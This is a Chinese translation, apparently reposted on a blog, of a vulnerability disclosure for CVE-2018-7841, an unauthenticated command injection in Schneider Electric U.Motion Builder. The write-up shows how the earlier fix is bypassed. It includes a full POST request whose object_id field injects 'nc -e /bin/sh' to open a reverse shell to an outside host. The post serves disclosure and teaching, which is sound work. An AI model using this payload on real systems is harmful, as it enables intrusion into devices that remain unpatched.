CVE-2018-7841:施耐德电气U.Motion Builder远程执行代码0DAY

https://www.rcesecurity.com/2019/05/cve-2018-7841-schneider-electric-umotion-builder-remote-code-execution-0-day/

我在物联网设备上遇到了一个未经身份验证的远程执行代码漏洞(称为CVE-2018-7841),该漏洞显然是使用施耐德电气提供的名为U.Motion Builder 的组件。

虽然我发现它使用我常用的BurpSuite foo,但我后来注意到已经有一个关于ZDI发布的非常类似的问题的公开咨询,名为Schneider Electric U.Motion Builder track_import_export SQL Injection Remote Code Execution Vulnerability(ZDI-17-) 378)又名CVE-2018-7765)。

但是,ZDI顾问仅列出了该问题的简短摘要:

track_import_export.php处理过程中存在特定缺陷,该缺陷在没有身份验证的Web服务上公开。在applet调用上选择导出操作时,底层SQLite数据库查询将在object_id输入参数上进行SQL注入。远程攻击者可以利用此漏洞对数据库执行任意命令。

所以我仔细看了一下源代码,并偶然发现绕过CVE-2018-7765 ,这是之前(未完全)由施耐德电气在U.Motion Builder的1.3.4版本中修复的。

截至今天,由于我的报告,该产品已于2019年3月12日退休,因此该问题尚未确定,将来也无法解决。

(不完整)修复

U.Motion 1.3.4包含易受攻击的文件/smartdomuspad/modules/reporting/track_import_export.php,其中应用程序根据连接的object_id构造一个名为$ where的SQlite查询,该查询可以通过GET或POST提供:

switch ($op) {
    case "export":
[...]
        $where = "";
[...]
        if (strcmp($period, ""))
            $where .= "PERIOD ='" . dpadfunctions::string_encode_for_SQLite(strtoupper($period)) . "' AND ";
        if (!empty($date_from))
            $where .= "TIMESTAMP >= '" . strtotime($date_from . " 0:00:00") . "' AND ";
        if (!empty($date_to))
            $where .= "TIMESTAMP <= '" . strtotime($date_to . " 23:59:59") . "' AND ";
        if (!empty($object_id))
            $where .= "OBJECT_ID='" . dpadfunctions::string_encode_for_SQLite($object_id) . "' AND ";
        $where .= "1 ";
[...]

你可以看到object_id首先被string_encode_for_SQLite方法解析,除了删除一些其他不可读的字符(参见dpadfunctions.class.php):

function string_encode_for_SQLite( $string ) {
        $string = str_replace( chr(1), "", $string );
        $string = str_replace( chr(2), "", $string );
        $string = str_replace( chr(3), "", $string );
        $string = str_replace( chr(4), "", $string );
        $string = str_replace( chr(5), "", $string );
        $string = str_replace( chr(6), "", $string );
        $string = str_replace( chr(7), "", $string );
        $string = str_replace( chr(8), "", $string );
        $string = str_replace( chr(9), "", $string );
        $string = str_replace( chr(10), "[CRLF]", $string );
        $string = str_replace( chr(11), "", $string );
        $string = str_replace( chr(12), "", $string );
        $string = str_replace( chr(13), "", $string );
        $num = str_replace( ",",".", $string );
        if ( is_numeric( $num ) ) {
            $string = $num;
        }
        else {
            $string = str_replace( "'", "''", $string );
            $string = str_replace( ",","[COMMA]", $string );
        }
        return $string;

$ query之后用于调用$ dbClient-> query()

[...]
$query = "SELECT COUNT(ID) AS COUNTER FROM DPADD_TRACK_DATA WHERE $where";
$counter_retrieve_result = $dbClient->query($query,$counter_retrieve_result_id,_DPAD_DB_SOCKETPORT_DOMUSPADTRACK);
[...]

查询()方法中可以找到dpaddbclient_NoDbManager_sqlite.class.php

function query( $query, &$result_set_id, $sDB = null ) {
        $this->setDB( $sDB );
        define( "_DPAD_LOCAL_BACKSLASHED_QUOTE", "[QUOTEwithBACKSLASH]" );
        $query = str_replace("\\"", _DPAD_LOCAL_BACKSLASHED_QUOTE, $query);
        $query = str_replace("\"", "\\"", $query);
        $query = str_replace("$", "\$", $query);
        $query = str_replace( _DPAD_LOCAL_BACKSLASHED_QUOTE, "\\\\"", $query);
        $query_array = explode(" ", trim($query) );
        switch ( strtolower( $query_array[0] ) ) {
        case "insert":
            $query = $query . ";" . "SELECT last_insert_rowid();";
            break;
        case "select":
        default:
            break;
        } $result_set_id = null;
        $sqlite_cmd = _DPAD_ABSOLUTE_PATH_SQLITE_EXECUTABLE . " -header -separator '~' " . $this->getDBPath() . " \"" . $query . "\"";
        $result = exec( $sqlite_cmd, $output, $return_var );
[...]

在这里,您可以看到查询字符串(包含object_id)是通过一堆str_replace调用提供的,目的是过滤掉危险字符,例如$ for Unix命令替换,并且在片段末尾,您实际上可以看到另一个字符串$ sqlite_cmd与先前构建的$ query字符串连接,最后传递给PHP exec()调用。

漏洞利用

显然,施耐德电气试图通过以下方式解决之前报告的漏洞:

$query = str_replace("$", "\$", $query);

正如您可能已经猜到的那样,仅仅过滤掉$不足以阻止命令注入exec()调用。因此,为了绕过str_replace修复,您可以简单地使用反引号运算符,如以下示例请求中所示:

POST /smartdomuspad/modules/reporting/track_import_export.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=l337qjbsjk4js9ipm6mppa5qn4
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

op=export&language=english&interval=1&object_id=`nc -e /bin/sh www.rcesecurity.com 53`

产生一个漂亮的反向shell:

关于披露过程的几点看法

我在2018年11月15日第一次联系了施耐德电气。此时他们的漏洞报告表格根本没有发生任何错误。所以我试图通过Twitter联系他们(通过公共推文和通过DM),同时我也提到他们的报告表格根本不起作用。虽然我没有收到任何回复,但表格在某些时候是固定的而不让我知道。所以我已经发送了漏洞的所有细节,并告知他们我从11月开始的45天披露政策。从今天起,与CERT的沟通进展顺利,我同意将披露日期延长至120天,以便给予他们更多时间来解决问题。最终整个产品退役了 在2019年3月12日,这就是我将此披露延迟了两个月的原因。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值